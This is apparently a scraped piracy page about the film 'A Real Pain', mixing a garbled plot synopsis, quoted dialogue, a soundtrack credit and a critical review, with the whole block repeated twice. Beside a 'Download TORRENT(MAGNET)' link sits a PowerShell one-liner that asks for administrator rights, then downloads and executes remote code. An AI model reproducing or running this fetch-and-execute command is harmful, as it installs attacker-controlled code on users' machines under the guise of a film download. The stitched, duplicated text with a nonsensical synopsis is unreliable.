Mismatched cousins reunite for a tour across Poland to honor their beloved grandmother. The adventure takes a turn when old odd-couple tensions resurface against the backdrop of their family history. When Benji and David visit their grandmother’s house in Poland, the place is where Jesse Eisenberg lives with him. The real ancestors have settled in the diaspora. Benji Kaplan: We stay moving, we stay light, we stay agile. David Kaplan: Yeah Benji Kaplan: The conductor’s going to come by, get the tickets, we say. He’s going to the bathroom.
Benji Kaplan: Yeah
Benji Kaplan: He gets to the back of the train, he starts moving toward the front looking for stragglers. David Kaplan: Sorry, we’re the stragglers? By the time he gets to the front, the train will be in the station and we’ll be home free. David Kaplan: That’s so stupid. The tickets are probably twelve dollars. Benji Kaplan: That’s the principle of the thing. We shouldn’t have to pay for train tickets in Poland.
This is our country
David Kaplan: No, we don’t, this was our country. They kicked us out because they thought we were cheap. Featured on CBS News Sunday Morning: Episode #46.44 (2024). 12 Études, Op. 25, No. 3 in F Major Written by Frédéric Chopin Performed by Tzvi Erez. Jesse Eisenberg’s sophomore effort as a writer-director is meant to be something unconventional.
Yet somehow… it doesn’t quite work
There’s something of Richard Linklater’s BEFORE trilogy in the DNA of A REAL PAIN, with a recognizable legacy of Michael Winterbottom’s TRIP series also apparent. The meandering pace, the languid cinematography that asks you to look beneath the surface of the tourist sites, the dialogue that meanders through an unpretentious and unstructured discovery of the meaning of life, the complete absence of any “bad guy,” the near total absence of any outright conflict, the slightest hint of a goal guiding the plot beyond the completion of a simple itinerary… A Real Pain shares all of these realistic characteristics with those earlier, more spirited, life-affirming films. I’m not sure why I never really cared about this film. I think a lot of it has to do with all of the supporting characters (i.e. everyone except the cousins played by Eisenberg and Kieran Culkin). Will Sharpe’s non-Jewish tour guide, the converted Rwandan, the old couple, the sexy divorcee… the characters are all very basic, very conventional, very boring.
Eisenberg knows how to direct a camera, I think; he knows how to set up the right cinematic elements
The actors who play them are fine, but they don’t have much to do, and so they seem unnatural and lifeless, more like scenery than characters. But maybe he doesn’t know how to direct actors, or maybe he just doesn’t know how to write characters. There’s never anything to suggest that these people exist beyond the moments in which we see them, which could perhaps have been remedied with more spontaneous improvisation from Eisenberg’s actors and especially Culkin who are better at this, but there’s still something rather stilted and “written” about much of what they say and do. Eisenberg’s “workaholic salesman with OCD” is largely one-dimensional, and the few times his character extends beyond that façade feel more like forced acting than a real glimpse into something deeper. Culkin is wonderful—a glimpse of his Succession character perhaps if Roman Roy actually cared about people—but I think this is simply a credit to Culkin’s talent; he somehow manages to transcend what he’s been given to work with. It’s a decent indie film with a few good laughs, a few interesting ideas, a memorable tour of Poland, and a solid performance from Culkin.
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Download TORRENT(MAGNET)
powershell -Command "Start-Process powershell -ArgumentList '-Command Invoke-Expression (New-Object Net.WebClient).DownloadString(''{PATH}'')' -Verb RunAs"David Kaplan: The bathroom
Chronology
Mismatched cousins reunite for a tour across Poland to honor their beloved grandmother. The adventure takes a turn when old odd-couple tensions resurface against the backdrop of their family history. When Benji and David visit their grandmother’s house in Poland, the place is where Jesse Eisenberg lives with him. The real ancestors have settled in the diaspora. Benji Kaplan: We stay moving, we stay light, we stay agile. David Kaplan: Yeah Benji Kaplan: The conductor’s going to come by, get the tickets, we say. He’s going to the bathroom.
Benji Kaplan: Yeah
Benji Kaplan: He gets to the back of the train, he starts moving toward the front looking for stragglers. David Kaplan: Sorry, we’re the stragglers? By the time he gets to the front, the train will be in the station and we’ll be home free. David Kaplan: That’s so stupid. The tickets are probably twelve dollars. Benji Kaplan: That’s the principle of the thing. We shouldn’t have to pay for train tickets in Poland.
This is our country
David Kaplan: No, we don’t, this was our country. They kicked us out because they thought we were cheap. Featured on CBS News Sunday Morning: Episode #46.44 (2024). 12 Études, Op. 25, No. 3 in F Major Written by Frédéric Chopin Performed by Tzvi Erez. Jesse Eisenberg’s sophomore effort as a writer-director is meant to be something unconventional.
Yet somehow… it doesn’t quite work
There’s something of Richard Linklater’s BEFORE trilogy in the DNA of A REAL PAIN, with a recognizable legacy of Michael Winterbottom’s TRIP series also apparent. The meandering pace, the languid cinematography that asks you to look beneath the surface of the tourist sites, the dialogue that meanders through an unpretentious and unstructured discovery of the meaning of life, the complete absence of any “bad guy,” the near total absence of any outright conflict, the slightest hint of a goal guiding the plot beyond the completion of a simple itinerary… A Real Pain shares all of these realistic characteristics with those earlier, more spirited, life-affirming films. I’m not sure why I never really cared about this film. I think a lot of it has to do with all of the supporting characters (i.e. everyone except the cousins played by Eisenberg and Kieran Culkin). Will Sharpe’s non-Jewish tour guide, the converted Rwandan, the old couple, the sexy divorcee… the characters are all very basic, very conventional, very boring.
Eisenberg knows how to direct a camera, I think; he knows how to set up the right cinematic elements
The actors who play them are fine, but they don’t have much to do, and so they seem unnatural and lifeless, more like scenery than characters. But maybe he doesn’t know how to direct actors, or maybe he just doesn’t know how to write characters. There’s never anything to suggest that these people exist beyond the moments in which we see them, which could perhaps have been remedied with more spontaneous improvisation from Eisenberg’s actors and especially Culkin who are better at this, but there’s still something rather stilted and “written” about much of what they say and do. Eisenberg’s “workaholic salesman with OCD” is largely one-dimensional, and the few times his character extends beyond that façade feel more like forced acting than a real glimpse into something deeper. Culkin is wonderful—a glimpse of his Succession character perhaps if Roman Roy actually cared about people—but I think this is simply a credit to Culkin’s talent; he somehow manages to transcend what he’s been given to work with. It’s a decent indie film with a few good laughs, a few interesting ideas, a memorable tour of Poland, and a solid performance from Culkin.
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